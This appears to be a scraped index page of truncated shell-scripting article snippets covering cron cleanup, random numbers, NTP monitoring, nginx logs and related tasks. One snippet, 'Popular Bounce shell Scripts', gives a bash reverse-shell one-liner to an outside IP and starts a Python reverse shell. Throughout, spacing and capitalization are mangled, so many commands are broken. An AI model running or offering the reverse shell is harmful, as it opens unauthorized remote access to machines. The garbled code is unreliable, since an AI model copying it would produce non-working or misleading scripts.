Shell periodically deletes files before the specified time

TemplateCat delbak.sh#!/bin/shlocation= "/root/sqlbak/"Find $location-mtime +30-type f |xargs rm-fPs:Location is the directory where the lookup is set--mtime +30 is set time is 30 days ago-type F this week the type of lookup is fileThen add crontab

Shell Programming Basics must know

Shell programming################################################Static languageDynamic language################################################Programming languages: Machine language, assembly language, advanced languages############################

debugging shell scripts in Linux

The original script check.sh:Monfile= "/var/log/test/testmon.txt"Logfile= "/var/log/test/testmon.log"Touch $monfile...The script is edited in window and uploaded to Linux after editing.Problem:After running, the file that appears in the directory is

Shell Common syntax

#!/bin/bashecho "**********argument**********"Echo Script Name: $Echo First argument $echo second argumentecho num of argument $#echo all argument [email protected]#functionEqual (){Case $ in$)return 0;;*)Return 1;;Esac}#ifecho "**********test if****

Popular Bounce shell Scripts

Bash Shell Bounce Script/bin/bash-i >/dev/tcp/10.211. 55.11/443012>&1Python Shell Bounce Script# !/usr/bin/python # This is a Python reverse shell script Import socket,subprocess,os;s=socket.socket (socket.af_inet,socket. SOCK_STREAM); S.connect (("1

Shell script implementation randomly sampled class students

Tag:style   date    Implementation    bin   nbsp    and    extracting    cti   bsp    #/bin/bashfunction rand () {min=$1Max=$ ($2-$min +1 ) num=$ (date +%s%N)Echo $ (($num% $max +$min))}rnd1 the ) JW=(Wang Hao Shein Huang Yang Hoxing Yu Hu Jiang

Shell script re-mounts the problematic volume

#!/bin/bash#卷的全路径示例#pathexample =mount-t Cetusfs 127.0.0.1:/cinderv/var/lib/cinder/volumes/0f6a20f4d81ed9db37f2a87260dd7181Volumespath= ' Df-h |awk ' {print$1$6} ' |grep volumes ' #获取卷路径pathrow= ' Df-h |awk ' {print$1$6} ' |grep volumes|wc-l '

CENTOS7 shell script Implementation random number

Questions1. How random numbers are obtained2. How to determine the size of the random value is what we needAnswers1. Can now be obtained by obtaining the number of milliseconds of the system time, after all, the number of milliseconds changes

Shell Script Review Little Exercise

1. Change the suffix ". sh" suffix to ". Shell" under the/OPT directory (including subdirectories)2. Renaming files A1, A2, A3 files in directories A, B and C to A4, A5, A63. How to change the AA string in the file to BB in the VI

The use of parentheses inside the shell

Middle BracketBrackets are divided into single brackets [], and double brackets [[]], and brackets are commonly used in expression judgments, and parentheses can also be used in expressions, as mentioned later.Single brackets []a=5b=3[$A-eq $B]

Shell timed Tasks

1. Know CronCron is a timed execution tool under Linux that can run a job without human intervention. Since Cron is a built-in service for Linux, it does not automatically get up, and you can start and shut down this service in the following

[Boiled water]-shell-from numerical N to M (n<m)-Knowledge point

Title: Numerical N accumulates to M (nIn the following example, the examples are 1 to 100, and they can be brought into N and M (nFor loop implementationSum=0for ((i=1;iBy using variable arithmetic to implementEcho $[$ (Echo +{1..100})]echo $ (($

Linux Service Shell environment variable path setting (CentOS)

Methods for modifying the path path of environment variables under the CentOS systemThe essential part of the computer's brain is the operating system. And the development of Linux is very rapid, there is a trend to overtake Microsoft. This article

Shell in && | | The method

Shell && and | |When the shell executes a command, it returns a return value that is saved in the shell variable $? In When $? = = 0 o'clock, indicating successful execution; = = 1 o'clock, which indicates that the execution failed.Sometimes the

Monitoring NTP shell scripts

[Email protected]/]# cat/home/monitorntp.sh#!/bin/bash# Process NameProc_name= ' Ntpd-u '# log fileFile_name= "/home/logs/ntpd.log"Pid=0# Number of calculation processesProc_num (){Num= ' Ps-ef | grep "$proc _name" | Grep-v grep | Wc-l 'return $num}#

Two. Unit sixth. Shell script commands

########################## #二. Unit sixth. Shell Script Command # # # # ##########################1.diffdiff File File1 # #比较两个文件的不同-C # #显示周围的行-U # #按照一定格式统一输出生成补丁-R # #比较两个目录中文件的不同Patch File File.path # #打补丁-B # #备份原文件2.grepgrep Key Character File

Shell script to handle Nginx site logs

In the Nginx site, access and error are using the default log format, with the log file named as follows:Www.xxxx.com.access.logWww.xxxx.com.error.logThe script processes the previous day's log records, re-places the logs in compressed files, and

How the shell passes external parameters to the file

How to pass parameters inside the shell:JS Code SH test.sh Zhang 20 How do you accept parameters in the test.sh?JS Code #!/usr/bin/env SH Name=$1 Age=$2 echo "name is ${name} & ${age}" Output: Name is Yaochun &

Python3-file's modification implements functions like sed in the shell

# Auther:aaron Fan‘‘‘Ideas:The purpose is to modify yesterday this file, but because it is not possible to directly modify the file, so the modified content needs to be written to the high yesterday.new this file,And then overwrite the contents of

KVM One-click Shell automatically generates a Windows virtual machine with unattended operation scenario (STEP1)

KVM One-click Shell automatically generates a Windows virtual machine, unattended operation scheme is divided into four steps to complete the joint;The first step: Start the startup script, so that the machine can be executed at the start of the

Total Pages: 541 1 .... 464 465 466 467 468 .... 541 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.